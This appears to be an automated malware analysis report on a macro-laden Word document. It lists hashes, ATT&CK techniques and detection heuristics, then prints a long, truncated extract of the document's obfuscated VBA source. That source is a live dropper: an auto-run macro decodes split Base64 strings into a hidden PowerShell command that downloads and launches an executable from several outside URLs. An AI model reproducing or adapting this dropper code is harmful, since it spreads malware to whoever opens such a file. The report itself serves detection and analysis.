Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a7377b010840210c…

MALICIOUS

Office (OLE)

214.0 KB Created: 2017-07-03 14:02:00 Authoring application: Microsoft Office Word First seen: 2017-08-08
MD5: 88df27b7a01b0690aa26a2e2f08bd606 SHA-1: 63131403277388b2b0154977e3bd7da2af2a1d6d SHA-256: a7377b010840210ca964f2b75bd71e922fb82c8d8463db82ba32e842b847df92
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The critical heuristic 'OLE_VBA_BASE64_SHELL_COMMAND_STAGER' indicates that a Base64-decoded shell command stager is present, specifically 'powershell -WindowStyle Hidden $wscr'. This suggests the macro is designed to execute a PowerShell command, likely to download and run a second-stage payload. The 'Document_Open' macro further supports the automated execution of malicious code upon opening the document.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6341351-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6341351-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    If Len(iH21C) > 0 And mSHAyON <> 97472 - 31936 Then
    Shell iH21C, mSHAyON
    End If
  • VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGER
    VBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.
    Matched line in script
    If Len(iH21C) > 0 And mSHAyON <> 97472 - 31936 Then
    Shell iH21C, mSHAyON
    End If
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 177581 bytes
SHA-256: 0b6ca06e8d7ee08c2def18a551b9fc5fbe63c7c8d5cc2f2d960c51e9dde36d2f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()

RunMc

End Sub

Attribute VB_Name = "wra8K"
Sub RunMc()
RDUad5c = 21504 / 21
If RDUad5c = 19328 / 2416 Then
MsgBox "NdWN1fbe", 512, "pdaquLYp6"
End If
ML5Owu4XS = 21504 / 21
If ML5Owu4XS = 19328 / 2416 Then
Debug.Print "rWxQwBHA"
End If
AXG4aY = 21504 / 21
If AXG4aY = 19328 / 2416 Then
InputBox "l9bMzaReZ", "FJg2TFK"
End If
lJg0n5 = 21504 / 21
If lJg0n5 = 19328 / 2416 Then
InputBox "pDCYZz", "N8chD"
Else
Pjn9phx6 = -12658
End If
GqWEC8j = 141 + 8
If GqWEC8j = 19328 / 2416 Then
iLC6AZv8 = dgvGsq7
Else
mazqZGw = 38604.39189112
End If
r5MTUpeL = iLC6AZv8 & mazqZGw
UXDyUWbLn = 25600 / 25
If UXDyUWbLn = 210 - 200 Then
MsgBox "ZmfzTIwH", vbExclamation, "aCNBy"
Else
svauP07p = 38572.909246877
End If
UTm8X = 25600 / 25
If UTm8X = 210 - 200 Then
InputBox "jOLsB", "e739s1SR8"
End If
mtW4zAjoy = 25600 / 25
If mtW4zAjoy = 210 - 200 Then
MsgBox "tBpWKmXj", vbOKOnly, "XoyJR"
End If
ULsAqt4zY = 25600 / 25
If ULsAqt4zY = 210 - 200 Then
Debug.Print "JWTSk3U"
Else
Debug.Print "LWK1n"
End If
Umvj7p5q = 916 - 31
If Umvj7p5q = 26910 / 2990 Then
feEQT = True
Else
EHCumV47B = True
End If
RHAln6 = feEQT & EHCumV47B
hUve8xZN = 916 - 31
If hUve8xZN = 26910 / 2990 Then
g8pnKLxm0 = 175
ElseIf hUve8xZN = -26 + 50 Then
XOzCxTMU = 47087.305100813
Else
H45fok2JV = -1211323238
End If
eyI1oYxJR = g8pnKLxm0 & XOzCxTMU & H45fok2JV
hIjzTfX = 29696 / 29
If hIjzTfX = 26910 / 2990 Then
InputBox "sYLulAK", "us6Lo7"
End If
O5Cqm = 29696 / 29
If O5Cqm = 26910 / 2990 Then
Debug.Print "wywON8V2T"
End If
FuWi2O = 3072 / 3
If FuWi2O = -3345 + 3351 Then
InputBox "xwglNUy", "Ad2qrKT"
Else
Pe36Bu = -27866
End If
qK1ZJIi = 328 - 85
If qK1ZJIi = -3345 + 3351 Then
eQdC1K = True
Else
ZcE3IWe = 38
End If
opdOjw0n = eQdC1K & ZcE3IWe
ayaTrxP = 328 - 85
If ayaTrxP = -3345 + 3351 Then
xwKuEUV = True
End If
jwinf50 = jwinf50 & xwKuEUV
usn2W = 1047 - 23
If usn2W = 2772 - 2770 Then
InputBox "gMXiD", "y6t3UH1s"
End If
MSfr5pj = 1047 - 23
If MSfr5pj = 2772 - 2770 Then
InputBox "s3uxSK2UF", "M6nJQOfy7"
Else
jwXfMTi8 = buxMrRB
End If
OOaRy = 1047 - 23
If OOaRy = 2772 - 2770 Then
Debug.Print "RbQnuojEA"
ElseIf OOaRy = -1445 + 1465 Then
Debug.Print "fe1xJ"
Else
tbjHSm1 = hVpbYO01T
End If
RSlJqzu = 1047 - 23
If RSlJqzu = 2772 - 2770 Then
InputBox "RCOepYjxw", "bC1wAU2"
End If
vNwf63TW = 1051 - 27
If vNwf63TW = 867 - 851 Then
InputBox "pYIVo", "KUfc8JTEb"
End If
T57sRSp = 804 - 30
If T57sRSp = 867 - 851 Then
APpZnx9gG = 20567.193149269
Else
byIpQ = 20567.193149269
End If
K5My4uL = APpZnx9gG & byIpQ
DrGHIl = 1051 - 27
If DrGHIl = 867 - 851 Then
MsgBox "vh576jJ", vbMsgBoxHelpButton, "xjFdD5Yz"
Else
GLC65cS = 0
End If
AvhcBO = 17408 / 17
If AvhcBO = 24384 / 6096 Then
Debug.Print "jauHDgE9"
ElseIf AvhcBO = 879 - 857 Then
Debug.Print "SGKsz"
Else
gZLbtFk = 38108.159764553
End If
vaWgt0d = 17408 / 17
If vaWgt0d = 24384 / 6096 Then
InputBox "svUnZ6O", "yIamdy37V"
End If
ND2eyR = 17408 / 17
If ND2eyR = 24384 / 6096 Then
MsgBox "bO7ZJ", 16384, "kfOlKTXk1"
Else
xkNJeQ6 = False
End If
xhVi8GF = 64 * 16
If xhVi8GF = -231 + 243 Then
MsgBox "IcgKJRp1H", 16384, "zohSnkYJx"
Else
BouJnS = 0
End If
DwTANcBm = 64 * 16
If DwTANcBm = -231 + 243 Then
MsgBox "Vw6Z0F", 1, "rrm2c"
Else
l8ODv63r = True
End If
pklSRrQ = 890 + 33
If pklSRrQ = -231 + 243 Then
VQAvqG = 19983
ElseIf pklSRrQ = 13632 / 426 Then
FuEy3BZ = 19983
Else
i30OwADdT = u0HlUo13m
End If
z58cli = VQAvqG & FuEy3BZ & i30OwADdT
vGQFbOH = 64 * 16
If vGQFbOH = -231 + 243 Then
Debug.Print "pioluC7M"
Else
Debug.Print "jQzuIPY"
End If
AFc7ho6eM = 890 + 33
If AFc7ho6eM = -231 + 243 Then
vaNkFT = 62.836979256238
ElseIf AFc7ho6eM = 13632 / 426 Then
NgduiP = 0
Else
WYM7O3ngF = -3160
End If
SL3ZJgUa = vaNkFT & NgduiP & WYM7O3ngF
klnBgO = 616 + 18
If klnBgO = 1390 - 1378 Then
XAXCGsVL = N6Ez3aMGw
End If
nWbAhpM = nWbAhpM & XAXCGsVL
XieUoNOnF = 616 + 18
If XieUoNOnF = 1390 - 1378 Then
vwKEXfbe = 53807.382063468
ElseIf XieUoNOnF = -609 + 639 Then
geGxKMVbw = 186
Else
spzUoGi = 31776
End If
vDu9y = vwKEXfbe & geGxKMVbw & spzUoGi
PZS9aAlw = 1046 - 22
If PZS9aAlw = 1390 - 1378 Then
Debug.Print "oHE046RV"
End If
Ki1sGQ = 1046 - 22
If Ki1sGQ = 1390 - 1378 Then
InputBox "VeY14", "A1z7ZrF"
Else
afcQk = p6ApXe
End If
vnlXuD = 1046 - 22
If vnlXuD = 1390 - 1378 Then
Debug.Print "OZj4Gf"
ElseIf vnlXuD = -609 + 639 Then
Debug.Print "hb24B"
Else
uLUIHiWE = -28332
End If
TIiOK = 457 - 88
If TIiOK = 3616 - 3610 Then
lZ0x4yB = 26417.487400778
ElseIf TIiOK = 1035 - 1012 Then
aGkoWJ = -5601
Else
MRzsXC = NMXYDrlc
End If
WqbaBgu = lZ0x4yB & aGkoWJ & MRzsXC
tgdX6N = 1010 + 14
If tgdX6N = 3616 - 3610 Then
MsgBox "GTg8ONmCY", vbRetryCancel, "UJs7W"
End If
WYQzR6sOe = 1010 + 14
If WYQzR6sOe = 3616 - 3610 Then
Debug.Print "wUuhvC8c"
End If
zsGDrzk = 1047 - 23
If zsGDrzk = 11249 / 1607 Then
Debug.Print "JOl0w"
ElseIf zsGDrzk = 117 - 96 Then
Debug.Print "oI2w05q"
Else
tgkfPRHIG = nFSPpd
End If
rzVx9v = 1047 - 23
If rzVx9v = 11249 / 1607 Then
InputBox "po72weKQ", "A0CvZoWz"
Else
nLwKYmpb = -733261282
End If
u17xl = 28980 / 207
If u17xl = 11249 / 1607 Then
Dutchgya = 10316
ElseIf u17xl = 117 - 96 Then
ES0U8aIsv = -452538486
Else
GagD287 = 10316
End If
F2kGLQx = Dutchgya & ES0U8aIsv & GagD287
WQTFHChJ5 = 24576 / 24
If WQTFHChJ5 = 985 - 969 Then
InputBox "WzubgN5", "LDrpt6"
End If
bzrwSTMq = 24576 / 24
If bzrwSTMq = 985 - 969 Then
Debug.Print "jLF95M6R"
ElseIf bzrwSTMq = 8850 / 295 Then
Debug.Print "l8ZfmSR4n"
Else
UKZ5l0U = 228
End If
qRBTko = 20491 / 31
If qRBTko = 985 - 969 Then
qZRN2OrW8 = 243
ElseIf qRBTko = 8850 / 295 Then
BWXbcr = 243
Else
x5FsgO = 0
End If
kW3NIBa0 = qZRN2OrW8 & BWXbcr & x5FsgO
iGHfvALw = 24576 / 24
If iGHfvALw = 985 - 969 Then
Debug.Print "yQy1f"
End If
op8crUGZ = 24576 / 24
If op8crUGZ = 985 - 969 Then
Debug.Print "jRZIzy4F"
ElseIf op8crUGZ = 8850 / 295 Then
Debug.Print "jfqP7Riu"
Else
zNtMre = fiaPTAEkq
End If
UBNUKR70F = 1055 - 31
If UBNUKR70F = 14280 / 952 Then
Debug.Print "WHym8Q50"
ElseIf UBNUKR70F = 11684 / 508 Then
Debug.Print "mJSI9UPg"
Else
BhfLqjTsC = True
End If
LywpXzjP = 1055 - 31
If LywpXzjP = 14280 / 952 Then
MsgBox "yGZI4bLg", vbCritical, "UpUAPZRb"
Else
ibJ9tjyKZ = 29250
End If
O2IZC8xl = 484 - 5
If O2IZC8xl = 14280 / 952 Then
gIl5t94OG = 52
End If
Bl71g = Bl71g & gIl5t94OG
aIT4NBw = 1018 + 6
If aIT4NBw = 280 - 276 Then
Debug.Print "T4HSm1V"
Else
Debug.Print "C2sXSjeN"
End If
vlgGDm = 1018 + 6
If vlgGDm = 280 - 276 Then
Debug.Print "JWPxoQdIh"
Else
Debug.Print "ydeE5ti"
End If
kLVfsag = 26793 / 117
If kLVfsag = 280 - 276 Then
iFbB3z = c5b3M
Else
aDyrIVHQ = 23395.473372792
End If
uG4XTO8 = iFbB3z & aDyrIVHQ
sK0oxVrH = 64 * 16
If sK0oxVrH = 24200 / 3025 Then
InputBox "Q1qQvoO", "DRaci"
End If
WV57AhwBJ = 64 * 16
If WV57AhwBJ = 24200 / 3025 Then
Debug.Print "goH8E"
End If
cHKQs = 25726 / 38
If cHKQs = 24200 / 3025 Then
QOt9wgc = True
Else
cnQkP60T = 235
End If
uU869q = QOt9wgc & cnQkP60T
X1YBs = 64 * 16
If X1YBs = 24200 / 3025 Then
MsgBox "TL3ADZOM", 2, "DsEqDNXw"
Else
K1nCIf = 41015.104164637
End If
HzoXW6u8O = 64 * 16
If HzoXW6u8O = 24200 / 3025 Then
Debug.Print "Ft1kKmYT"
End If
SWkPMD = 706 - 45
If SWkPMD = 28728 / 2052 Then
t9JfYwvVO = 0
End If
eUov3E1 = eUov3E1 & t9JfYwvVO
KEFa5l = 1006 + 18
If KEFa5l = 28728 / 2052 Then
MsgBox "rd4wmoR", vbSystemModal, "BQL4XVT"
End If
BuvrmL6 = 1006 + 18
If BuvrmL6 = 28728 / 2052 Then
InputBox "MzPONdl", "OdoFa"
Else
YglUvLmEu = 37783.514532471
End If
QfAlPia = 866 - 39
If QfAlPia = 230 - 225 Then
FWtswAMjh = True
Else
yR4aSZr = 3776.2451086582
End If
g9R0iZ = FWtswAMjh & yR4aSZr
zWa41 = 22528 / 22
If zWa41 = 230 - 225 Then
Debug.Print "NAnoNRPEj"
ElseIf zWa41 = 25110 / 930 Then
Debug.Print "XmL4o8KVr"
Else
cAhcJEe = 26766.332551118
End If
Tr8TL2vY = 22528 / 22
If Tr8TL2vY = 230 - 225 Then
Debug.Print "ybkln"
ElseIf Tr8TL2vY = 25110 / 930 Then
Debug.Print "MsmW8"
Else
WL8SE0f = -24525
End If
nsQV6p = 893 + 8
If nsQV6p = -1692 + 1703 Then
DcoaZzGAR = 86
ElseIf nsQV6p = -660 + 692 Then
TvHR9 = -3470014
Else
H3YH5 = 28404.164934362
End If
PxeiSI4 = DcoaZzGAR & TvHR9 & H3YH5
IeAVE = 893 + 8
If IeAVE = -1692 + 1703 Then
zaZSdK0 = 28563.073219475
ElseIf IeAVE = -660 + 692 Then
VIZ9RtvU = -30936
Else
Tq9gU = 28563.073219475
End If
HmCB8u = zaZSdK0 & VIZ9RtvU & Tq9gU
xw5y12Pa = 7168 / 7
If xw5y12Pa = -1692 + 1703 Then
MsgBox "K93WnG", vbDefaultButton2, "qdPLGQZJ"
Else
iuomXt = 30537
End If
V9pXS7O = 7168 / 7
If V9pXS7O = -1692 + 1703 Then
MsgBox "ifpJMOvjx", 64, "kGKjNs6"
Else
JJvbWdo2g = False
End If
GtpFs786 = 7168 / 7
If GtpFs786 = -1692 + 1703 Then
MsgBox "ag56M", vbSystemModal, "ZlKxUq"
Else
aphzD = 46609.078528846
End If
PQDMb = 1039 - 15
If PQDMb = -861 + 877 Then
InputBox "WVSy8Ok", "ry86O5"
Else
qj0VQ3YAB = 197
End If
mtyom = 1039 - 15
If mtyom = -861 + 877 Then
MsgBox "bfeXrh", 4096, "vCQcFo"
End If
ABGMwKbR = 1039 - 15
If ABGMwKbR = -861 + 877 Then
Debug.Print "iLjb9"
ElseIf ABGMwKbR = 1295 - 1279 Then
Debug.Print "C7MSyfb"
Else
m9rPjpxO = 226
End If
Fi6gF = 1039 - 15
If Fi6gF = -861 + 877 Then
MsgBox "V30ghcDe", 64, "xDt8mUvVQ"
End If
EnGu9m3rB = 1498 / 2
If EnGu9m3rB = -861 + 877 Then
RqkvlFT = 33460.272125027
End If
q372K = q372K & RqkvlFT
ctYJXi = "Y2ovLGh0dHA6Ly9wcm9wd"
UNkToOG = "XIubmV0L2NybTUxL21vZHVsZXMvaXN0bnJrcmVpZS8saHR0c"
XoNbHyhp = ctYJXi & UNkToOG
Vx40BE3OT = "cG93ZXJzaGVsbCAtV2luZG93U3R5bGUgSGlkZGVuICR3c2Ny"
j1EiFoVDY = "aXB0ID0gbmV3LW9ia"
nuV23S = "mVjdCAtQ29tT2JqZWN0IFdTY"
QoRe4f1 = Vx40BE3OT & j1EiFoVDY & nuV23S
Bf1gt = "G5ldy1vYmplY3QgcmFuZG"
N1xN7j2S = "9tOyR1cmxzID0gJ2h0dHA6Ly9zcGFya3lqYXguY29tL3NwbGFzaC9wemdxaWF3ci8saHR0cDovL2FnZW5pdHkuY"
i7EHGuB3 = Bf1gt & N1xN7j2S
Z7n14v2 = "3JpcHQuU2hlbGw7JHdlYmNsaWVudCA9IG5ldy1vYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7J"
JQYj3X = "HJhbmRvbSA9I"
QeiaTVr = Z7n14v2 & JQYj3X
vKwRh1 = "nJlYWs7fWNhdGNoe3dyaXRlLWhvc3QgJF8uRXhjZXB0aW9uLk1lc3NhZ2U7f"
xMgkJn = "X0="
gwfIi6jS = vKwRh1 & xMgkJn
HraWhkY6 = "cGF0aCA9ICRlbnY6dGVtcCArICdcJyArICRuYW1lIC"
fEKMj67Pp = "sgJy5leGUnO2ZvcmVhY2goJHVybCBpbiAkdXJscyl7dHJ5eyR3ZWJjbGl"
vb9BQE = "lbnQuRG93bm"
u3Xd9fwZF = HraWhkY6 & fEKMj67Pp & vb9BQE
Q3lkMg6La = "DovL3d3dy5sb21lbmEuZXMvaTJpL2luYy9yZXF1ZXN0L3hzY3V3YWR4Z2svJy5TcGxpdCgnLCcpOyRuYW1lID0gJHJhbmRvbS5uZXh0KDE"
as7Ey = "sIDY1NTM2KTsk"
cGwOaRzq = Q3lkMg6La & as7Ey
G89nT1I = "xvYWRGaWxlKCR1cmwu"
neorDZgi = "VG9TdHJpbm"
l7EV3y0Tb = "coKSwgJHBhdGgpO1N0YXJ0LVByb2Nlc3MgJHBhdGg7Y"
y7tmYI6r5 = G89nT1I & neorDZgi & l7EV3y0Tb
l9brqletQ = "29tL2NvbnRyb2xsZXJzL2xoeHRweWtv"
ZebBWzE = "LyxodHRwOi8vd3d3LjNkZ3VzdG8uY29tL2pvam8vdnZt"
I846s = l9brqletQ & ZebBWzE
U5wGQl4s = 1054 - 30
If U5wGQl4s = 7665 / 1533 Then
Debug.Print "bBxQGcb"
Else
Debug.Print "Awtzg1"
End If
M37kvme = 968 - 9
If M37kvme = 7665 / 1533 Then
fJLV8HbW = True
ElseIf M37kvme = -1165 + 1188 Then
RBLMnGK1 = -16186
Else
s97qynU = 0
End If
QwbaX = fJLV8HbW & RBLMnGK1 & s97qynU
Q8yslvV = 968 - 9
If Q8yslvV = 7665 / 1533 Then
GHuosBW = 8567.2719253438
End If
Rqxnw = Rqxnw & GHuosBW
dGVBIo1v = 1054 - 30
If dGVBIo1v = 7665 / 1533 Then
InputBox "sOFwMYkBn", "m3CfSxTK"
Else
TvNWc = 255
End If
UOLGeAg1t = 6144 / 6
If UOLGeAg1t = 2220 / 555 Then
InputBox "t1UXxB", "Mb23Vm5Cz"
End If
dh5i64 = 6144 / 6
If dh5i64 = 2220 / 555 Then
InputBox "DNvB6L", "VlgZKJTHA"
Else
NToeWOV = 42213.939328334
End If
foLlyeM9E = 6144 / 6
If foLlyeM9E = 2220 / 555 Then
InputBox "hlN4kRM1Y", "EmW48bQe1"
Else
BxUhuBGp = True
End If
MwQdrK = 6144 / 6
If MwQdrK = 2220 / 555 Then
MsgBox "Amiron", 1048576, "MUMIxKmlH"
Else
dhuiZGE = 161
End If
MtamZg = 1051 - 27
If MtamZg = -585 + 592 Then
Debug.Print "omYTKHX"
Else
Debug.Print "MXhCEs"
End If
sUqJF = 1051 - 27
If sUqJF = -585 + 592 Then
Debug.Print "wQcsJdzC"
End If
vNknW = 1051 - 27
If vNknW = -585 + 592 Then
Debug.Print "ISdDsp"
End If
SUSOapq = 1051 - 27
If SUSOapq = -585 + 592 Then
Debug.Print "OQAl3aKh"
ElseIf SUSOapq = 712 - 682 Then
Debug.Print "V5rcvFpml"
Else
X1GlnU = lEtUSFybe
End If
b5uGcAOB = QoRe4f1 & QeiaTVr & i7EHGuB3 & I846s & XoNbHyhp & cGwOaRzq & u3Xd9fwZF & y7tmYI6r5 & gwfIi6jS
a6H2sCbdq = 516 - 63
If a6H2sCbdq = 255 - 240 Then
iYr4X1Jxt = 24901
Else
m8N0hMBS = False
End If
EyFXg9ou = iYr4X1Jxt & m8N0hMBS
Z9xSZ8 = 1034 - 10
If Z9xSZ8 = 255 - 240 Then
InputBox "dHNRLhTP", "VOP3hd9qJ"
Else
U5GbeK = 179
End If
kwRseJ = 1034 - 10
If kwRseJ = 255 - 240 Then
Debug.Print "jTRhfB9"
End If
ppKwq1 = 1034 - 10
If ppKwq1 = 255 - 240 Then
Debug.Print "klDFOWGs"
ElseIf ppKwq1 = 22504 / 776 Then
Debug.Print "Rw47uhLUM"
Else
FeYHEU = 44130.482096454
End If
YhyoYgdZR = 1037 - 13
If YhyoYgdZR = 2580 - 2573 Then
InputBox "X42lSk", "v8N27"
Else
WF4zXYZ = gdBXS4LN6
End If
xtR7fy = 1037 - 13
If xtR7fy = 2580 - 2573 Then
Debug.Print "E6GlFvQ"
End If
CCDAO7HI = 1037 - 13
If CCDAO7HI = 2580 - 2573 Then
Debug.Print "Xa6w1h"
End If
k2tGRV = 1037 - 13
If k2tGRV = 2580 - 2573 Then
Debug.Print "zUJgC"
ElseIf k2tGRV = 505 - 475 Then
Debug.Print "szWM6tu"
Else
lVXzd = 34271.759581535
End If
SP2BpyV = 1037 - 13
If SP2BpyV = 2580 - 2573 Then
InputBox "olI6bU", "DdETKvc"
End If
KjNyp = 1041 - 17
If KjNyp = 23590 / 1685 Then
Debug.Print "LlaFnqU7"
Else
Debug.Print "p6cpDFL2"
End If
EJ4knM = 1041 - 17
If EJ4knM = 23590 / 1685 Then
MsgBox "cQJDrB", vbQuestion, "qwfun"
Else
sHN1wyYCa = 20404
End If
riSCz = 6765 / 11
If riSCz = 23590 / 1685 Then
cW4HTiR = 59402.394192632
Else
KpyCUWe = 49191.215773046
End If
HvCq5 = cW4HTiR & KpyCUWe
WbfoK8kWC = 26301 / 33
If WbfoK8kWC = 10980 / 2196 Then
zeromKWH = 54732.403435186
Else
JuV9QHSX = bDEsmOV5l
End If
o3E86v = zeromKWH & JuV9QHSX
cEf3yPt = 26301 / 33
If cEf3yPt = 10980 / 2196 Then
AdwW5TBr = 64217.103265783
ElseIf cEf3yPt = 86 - 66 Then
U4vkEZo8 = qNUkjLMDw
Else
ankg7KyN0 = 64217.103265783
End If
s7EZNP = AdwW5TBr & U4vkEZo8 & ankg7KyN0
ehTOxA = 26301 / 33
If ehTOxA = 10980 / 2196 Then
AGlCNPHhx = 0
Else
UAUberVzQ = 0
End If
duloL = AGlCNPHhx & UAUberVzQ
rxORHv8Kn = 26301 / 33
If rxORHv8Kn = 10980 / 2196 Then
Iq3MorC = 43765.689740288
ElseIf rxORHv8Kn = 86 - 66 Then
ndF8lMOLj = 27
Else
dYXiqjZR = 43765.689740288
End If
K8PyzB32 = Iq3MorC & ndF8lMOLj & dYXiqjZR
pswPcaIL = 1033 - 9
If pswPcaIL = -2855 + 2863 Then
Debug.Print "ULEab4"
ElseIf pswPcaIL = -1007 + 1032 Then
Debug.Print "SaZ5pM"
Else
SV3xPt0r = 11721
End If
jVamIDx = 355 + 75
If jVamIDx = -2855 + 2863 Then
bPexG0 = 23597
ElseIf jVamIDx = -1007 + 1032 Then
xhTIj = 23371.697428789
Else
GjFRHk81 = 23371.697428789
End If
FbEQt90BF = bPexG0 & xhTIj & GjFRHk81
NwgZmHAS2 = 1033 - 9
If NwgZmHAS2 = -2855 + 2863 Then
MsgBox "fvItT4", vbDefaultButton2, "eUw4Kn"
Else
k3HMwQG = KczUNwTF
End If
HECDK1 = 355 + 75
If HECDK1 = -2855 + 2863 Then
lp8bR = 29247.201806557
End If
XC0DRwh = XC0DRwh & lp8bR
kBo3N = 256 * 4
If kBo3N = -1933 + 1940 Then
Debug.Print "HnLv1"
ElseIf kBo3N = 22876 / 817 Then
Debug.Print "pUIFTyf"
Else
bj01r2 = Vmb5O
End If
VZ98i = 256 * 4
If VZ98i = -1933 + 1940 Then
Debug.Print "PRiLrkp"
Else
Debug.Print "nq6vXcVy"
End If
dnxBXq = 256 * 4
If dnxBXq = -1933 + 1940 Then
Debug.Print "XzbDoFiu"
End If
mlORU = 256 * 4
If mlORU = -1933 + 1940 Then
MsgBox "JSKz4", 1048576, "P3oKa"
Else
raxVd = 41722.518163643
End If
Jkx61qahP = StrConv(etA0gU(QoRe4f1 & QeiaTVr & i7EHGuB3 & I846s & XoNbHyhp & cGwOaRzq & u3Xd9fwZF & y7tmYI6r5 & gwfIi6jS), vbUnicode)
WqjfrmPe = 1052 - 28
If WqjfrmPe = 17700 / 3540 Then
MsgBox "ytbxrAoa", vbMsgBoxRtlReading, "Gc8n21y"
End If
qLFOik8m = 1052 - 28
If qLFOik8m = 17700 / 3540 Then
MsgBox "hNnF25x3", vbInformation, "jYUIAqdwJ"
End If
JMqJTb9IO = 1052 - 28
If JMqJTb9IO = 17700 / 3540 Then
InputBox "caoTtkXg", "FxqVC"
End If
rbrHijPvL = 1052 - 28
If rbrHijPvL = 17700 / 3540 Then
Debug.Print "mZwhFeG"
Else
Debug.Print "vpSPeE"
End If
cWRTwhS = 22528 / 22
If cWRTwhS = 1973 - 1961 Then
Debug.Print "S3RtK"
Else
Debug.Print "yHGeJ8X"
End If
sYAcgsL = 568 - 9
If sYAcgsL = 1973 - 1961 Then
IHzaZW = True
ElseIf sYAcgsL = 17802 / 774 Then
Vv9LGiS = 0
Else
Wnt2krX = 0
End If
IufAKn = IHzaZW & Vv9LGiS & Wnt2krX
OTCBAIGL = 568 - 9
If OTCBAIGL = 1973 - 1961 Then
GVjYo = -386138684
ElseIf OTCBAIGL = 17802 / 774 Then
iZ6rwPaCL = -386138684
Else
baZQc = 28844
End If
Wd8J6irC = GVjYo & iZ6rwPaCL & baZQc
QogCmcYI = 995 + 29
If QogCmcYI = -176 + 179 Then
MsgBox "kkRFaLh", 16384, "anG9fisSp"
Else
ZaSeY3 = -24503
End If
jKj7zBv = 189 - 38
If jKj7zBv = -176 + 179 Then
on1rq = rk9RYWqU
Else
oqTHsh = 160
End If
KzbMDs8JB = on1rq & oqTHsh
fbJp2 = 189 - 38
If fbJp2 = -176 + 179 Then
cyz08KP = 44976.145698659
ElseIf fbJp2 = 10 * 3 Then
SfrSwdng = -1320468198
Else
hXI4wz = 18222.241928539
End If
fShN6 = cyz08KP & SfrSwdng & hXI4wz
W1pxU = 1021 + 3
If W1pxU = -736 + 750 Then
InputBox "CsOSNzG", "H5jSaB"
Else
d3XLjZ58J = 34302.083124781
End If
UF9dEa7Z3 = 287 + 51
If UF9dEa7Z3 = -736 + 750 Then
oTXqasZU = 43035.307158028
End If
spAmN1 = spAmN1 & oTXqasZU
eoHfy = 1021 + 3
If eoHfy = -736 + 750 Then
MsgBox "WLwuI4UyK", vbDefaultButton2, "eEZG3Kkzq"
Else
vNgkzMa = False
End If
TF7cg = 1021 + 3
If TF7cg = -736 + 750 Then
Debug.Print "JezJq7hYp"
Else
Debug.Print "FSlMG7Bo"
End If
SduRON1SP = 1010 + 14
If SduRON1SP = 448 - 439 Then
MsgBox "nDubF3", vbDefaultButton2, "npE1lI0"
Else
NxNAc = 0
End If
SNa65 = 1010 + 14
If SNa65 = 448 - 439 Then
Debug.Print "gKA1j8kf"
ElseIf SNa65 = 628 - 611 Then
Debug.Print "HPAEG"
Else
KNhFds = False
End If
HKU7Qs9 = 449 + 7
If HKU7Qs9 = 448 - 439 Then
sVEtlU0R = True
ElseIf HKU7Qs9 = 628 - 611 Then
io5TJwB = -1064097574
Else
CjvoU4O = -1064097574
End If
NahDYjoSw = sVEtlU0R & io5TJwB & CjvoU4O
hn9MY = 1010 + 14
If hn9MY = 448 - 439 Then
MsgBox "gJSgAP", vbYesNo, "nOeDUn"
Else
lWlaYnBS = 9853.1669507092
End If
jlChz = 393 - 308
If jlChz = -1029 + 1030 Then
IxlE19 = Z0RCx
ElseIf jlChz = 9658 / 439 Then
xb06xcfpA = 12511.257719399
Else
YTspCN4i = 12511.257719399
End If
ktbIzPHp = IxlE19 & xb06xcfpA & YTspCN4i
BeCRj8 = 393 - 308
If BeCRj8 = -1029 + 1030 Then
w348o = 12431
Else
zon0c = 143
End If
rOa7cv = w348o & zon0c
ZrCHx = 13312 / 13
If ZrCHx = -1029 + 1030 Then
InputBox "spTPxM", "PN5vhTo"
Else
J6vTJA = 990
End If
WD9px = 13312 / 13
If WD9px = -1029 + 1030 Then
MsgBox "aTyWHOsoz", 48, "r8UGf"
Else
nuN3ULX7z = 22197.567607781
End If
ii3aIt = 13312 / 13
If ii3aIt = -1029 + 1030 Then
Debug.Print "mj2PN"
ElseIf ii3aIt = 9658 / 439 Then
Debug.Print "RlIh9N3q"
Else
MwAT8 = 0
End If
hAj1VJ5M = 13312 / 13
If hAj1VJ5M = -5247 + 5249 Then
Debug.Print "c9fqGH"
Else
Debug.Print "Fy19ha3lK"
End If
TaUMtZk = 750 - 45
If TaUMtZk = -5247 + 5249 Then
CAS9ckML = 30179.093709611
ElseIf TaUMtZk = 864 - 837 Then
atYIJ = True
Else
j9Ekz1dil = 11
End If
dPtaFv4 = CAS9ckML & atYIJ & j9Ekz1dil
FkotN5y = 13312 / 13
If FkotN5y = -5247 + 5249 Then
InputBox "H4GrWDgI", "z2MylI"
End If
iUizbLIe = 18432 / 18
If iUizbLIe = 18653 / 18653 Then
Debug.Print "l1jtD3"
Else
Debug.Print "slWNn"
End If
ZqekTr = 18432 / 18
If ZqekTr = 18653 / 18653 Then
InputBox "LJGTsvPzR", "fvdD1KR"
End If
LoWrEp296 = 18432 / 18
If LoWrEp296 = 18653 / 18653 Then
MsgBox "A2fKdOV4X", vbYesNo, "zjC1PJd"
End If
vUZEPc = 13312 / 13
If vUZEPc = -4817 + 4820 Then
